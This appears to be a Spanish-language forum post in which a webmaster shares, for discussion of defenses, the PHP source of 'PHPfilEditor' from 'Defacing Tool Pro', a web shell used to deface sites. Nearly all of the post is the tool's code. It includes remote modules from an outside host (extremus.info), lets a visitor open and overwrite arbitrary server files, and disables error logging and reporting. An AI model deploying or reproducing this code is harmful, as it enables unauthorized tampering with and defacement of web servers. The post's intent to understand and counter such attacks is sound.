editar cualquier archivo en el server.
Lo abjunto aqui para ver que posible solucion podemos acatar para el entendimiento de todos.
Seguro mucho de nosotros hemos sido atacados con esto, este es el famoso codigo donde nos
cambian el idnex.htm de un folder
Código PHP:
<!--#######################################################
# [PHPfilEditor] a part of Defacing Tool Pro by r3v3ng4ns #
###########################################################
Autor: r3v3ng4ns - [email protected]
Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais
*codigo reescrito
Defacing Tool 2.0 by r3v3ng4ns
[email protected]
se for modificar o codigo, por favor, mantenha o nome de seus autores originais
e por favor, entre em contato comigo...
ae galera, serio, tem mta gente fdp q simplismente usa, nao seja soh um sucker do script,
n seja um lammer imbecil, n seja o merda dum script kiddie, n seja um babaca, ajude a melhora-lo tambem!!
-->
<?php
//The Rules
include("http://extremus.info/cmd/therules25.dat");
if(empty($o)) $o=@$_GET['o'];
if(empty($o)) $o=@$_REQUEST['o'];
if(empty($s)) $s=@$_GET['s'];
if(empty($s)) $s=@$_REQUEST['s'];
if(empty($inclvar)) $inclvar=@$_GET['inclvar'];
if(empty($inclvar)) $inclvar=@$_REQUEST['inclvar'];
$co=$_GET['co'];
$ro=$_GET['ro'];
if($co!="" or $co!=null){$resAtual="atual: ".$co."x$ro linhas";} else{$resAtual="resolucao do textarea";}
if($co=="" or $co==null){$co=120; $ro=30;}
if(strpos($o, 'p://')===false and strpos($o, '//')!==false) $o = str_replace('//', '/', $o);
if(strpos($s, '//')!==false) $s = str_replace('//', '/', $s);
$toOpen=$o;
$toSave=$s;
if($toSave == "" or $toSave==null) $toSave=$toOpen;
$boom = explode("/",$toSave,2);
$boom2=explode("/",$toOpen);
count($boom2);
$boom2_=array_reverse($boom2);
$file_=$boom2_['0'];
$dir_ = str_replace("/".$file_,"",$toOpen);
if ($dir_ == "") $dir_=getcwd();
?>
<head><title>[ PHPfilEditor : Edicao de Arquivo] a part of Defacing Tool Pro - by r3v3ng4ns</title></head>
<body onLoad="self.focus()">
<?
//Style page - must be into the body tag
include($style_addr);
?>
<script>
function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri = location.href.substring(addr.length,location.href.length+1);inclvar = stri.substring(0,stri.indexOf('='));}
function openFile(){
inclVar();
var o=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use http:// ou ftp://","<? echo(getcwd());?>/index.php");
var dir = o.substring(0,o.lastIndexOf('/')+1);
var file = o.substring(dir.length,o.length+1);
window.document.location.href='<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>'+'?&inclvar='+inclvar+'&o='+o;
}
function saveFile(){
var nomeSave=window.document.form.toSave.value;
var s=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja salvar\n-Utilize caminho completo",nomeSave);
if(s==null){return false;}else{
window.document.form.toSave.value=s;
var nomeSave=window.document.form.toSave.value;
var nomeOpen=window.document.form.toOpen.value;
if (nomeOpen=='' || nomeOpen ==null) nomeOpen='-Novo Arquivo-'
if (confirm ('O arquivo aberto como '+nomeOpen+'\nserah salvo como '+nomeSave+'.\nDeseja continuar?'))
{ return true; }else{ return false; }
}
}
function altRes(tamanho){
inclVar();
if (confirm ('Alterar a resolucao do textarea do conteudo\nfara com que as alteracoes feitas arquivo\natual sejam perdidas. Deseja continuar?'))
{ var alt=1; }else{ var alt=0; }
if(alt==0){ }else{
var o=window.document.form.toOpen.value;
window.document.location.href='<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>'+'?&inclvar='+inclvar+'&o='+o+'&'+tamanho;
}
}
</script>
<table border="0" align="center" cellpadding="2" cellspacing="2" class="dtool"><tr><td>
<center><div align="center" class="titulod"><b>[ PHPfilEditor ] <a href="mailto:[email protected]">?</a></font><br><font size=3>a part of Defacing Tool Pro<br>by r3v3ng4ns - [email protected] </font></b></div>
<table border="0" align="center"><tr><td>
<center>Agora com suporte mais amplo!</td></tr></table>
<div class="algod"><br>conteudo do arquivo<br><i>'<? if($toOpen!=null or $toOpen!="") echo("$toOpen");else echo("Novo Arquivo em Branco"); ?>'</i></div></CENTER>
<table width="375" border="0" align="center" cellpadding="0" cellspacing="0" class='comborder'><tr><td>
<table border="0" cellpadding="5" cellspacing="5" align="center" class="child2"><tr><td>
<center>
<form name='form' id='form' method='post' action='<?=$total_addr;?>?<?=$inclvar;?>=<?=$put_addr;?>?&inclvar=<?=$inclvar;?>&dtheme=<?=$dtheme;?>' onsubmit='return saveFile();'>
<textarea cols=<?=$co;?> rows=<?=$ro;?> name='conteudo_new' id='conteudo_new' style="border-style:none;background:#f7f7f7;font-size:11px;font-family:Courier;border:none">
<?php
if($toOpen==null or $toOpen=="newfile" or $toOpen==""){
echo ("Novo Arquivo");
}
else {
$cont = @pegaContents($toOpen);
if( !empty($cont) ){
$cont=htmlspecialchars($cont,ENT_QUOTES);print($cont);//evita problemas de tags html
}
else {
echo ("$toOpen: arquivo vazio, nao encontrado ou acesso restrito.\n$toOpen: empty file, no such file or permission denied ");
//$toSave=$dir_."/$toOpen";
$toSave=$toOpen;
$toOpen="";
}
}
?>
</textarea>
<!--<textarea name='conteudo_old' id='conteudo_old' wrap='physical' class='oculto'><?/* print($cont);*/ ?></textarea>-->
<input type=hidden name='toSave' id='toSave' value='<?=$toSave;?>'><input type=hidden name='toOpen' id='toOpen' value='<?=$toOpen;?>'>
<br>
<input type=button value="limpar" onclick="window.document.form.conteudo_new.value='';" class="campo">
<input type=reset value="resetar alteracoes" class="campo">
<input type=button value="abrir" onclick="javascript:openFile();" class="campo">
<input type=submit value="salvar" class="campo">
<input type=button name="fechaBtn" value="fechar janela" class="campo" onclick="window.close();">
<select name=size class=campo onchange="altRes(form.size.value);">
<option><?=$resAtual;?>
<option value="co=90&ro=10">90x10 linhas
<option value="co=90&ro=20">90x20 linhas
<option value="co=100&ro=20">100x20 linhas
<option value="co=100&ro=30">100x30 linhas
<option value="co=100&ro=40">100x40 linhas
<option value="co=120&ro=30">120x30 linhas (padrao)
<option value="co=120&ro=40">120x40 linhas
<option value="co=130&ro=30">130x30 linhas
<option value="co=130&ro=40">130x40 linhas
<option value="co=140&ro=30">140x30 linhas
<option value="co=140&ro=40">140x40 linhas
</select>
</form>
</tr></td></table></tr></td></table></tr></td></table>
Código PHP:
<?php
//The rules of Dtool - 2.5
//[email protected]
@closelog();
@error_reporting(0);
$vers="2.5 public";
$remote_addr="http://extremus.info/cmd/";
$format_addr=".dat";
$cmd_addr=$remote_addr."tool25".$format_addr;
$safe_addr=$remote_addr."safe25".$format_addr;
$writer_addr=$remote_addr."writer25".$format_addr;
$phpget_addr=$remote_addr."get25".$format_addr;
$feditor_addr=$remote_addr."filed25".$format_addr;
$put_addr=$remote_addr."filed_put25".$format_addr;
$list_addr=$remote_addr."flist25".$format_addr;
$copyd_addr=$remote_addr."copyd25".$format_addr;
$style_addr=$remote_addr."style25".$format_addr;
$total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$inclvar = @substr($_SERVER['QUERY_STRING'],0,strpos($_SERVER['QUERY_STRING'],"="));
function pegaContents($filename){//aiai, essa funcao aki eh bem legal, evita mto problema q tinha antes. by r3v3n
if(function_exists('file_get_contents')){ $content_arquivo=file_get_contents($filename);}
else if(function_exists('readfile') and function_exists('ob_start')){ob_start();readfile($filename); $content_arquivo=ob_get_contents(); ob_end_clean();}
else if(function_exists('fread') and function_exists('fopen') and !strpos($filename,'http://')){ $content_arquivo=fread(fopen($filename, "a"),filesize($filename));}
else $content_arquivo=false;
return $content_arquivo;
}
if(empty($chdir)) $chdir=@$_GET['chdir'];
if(empty($chdir)) $chdir=@$_REQUEST['chdir'];
if(empty($chdir)) $chdir=getcwd();
?>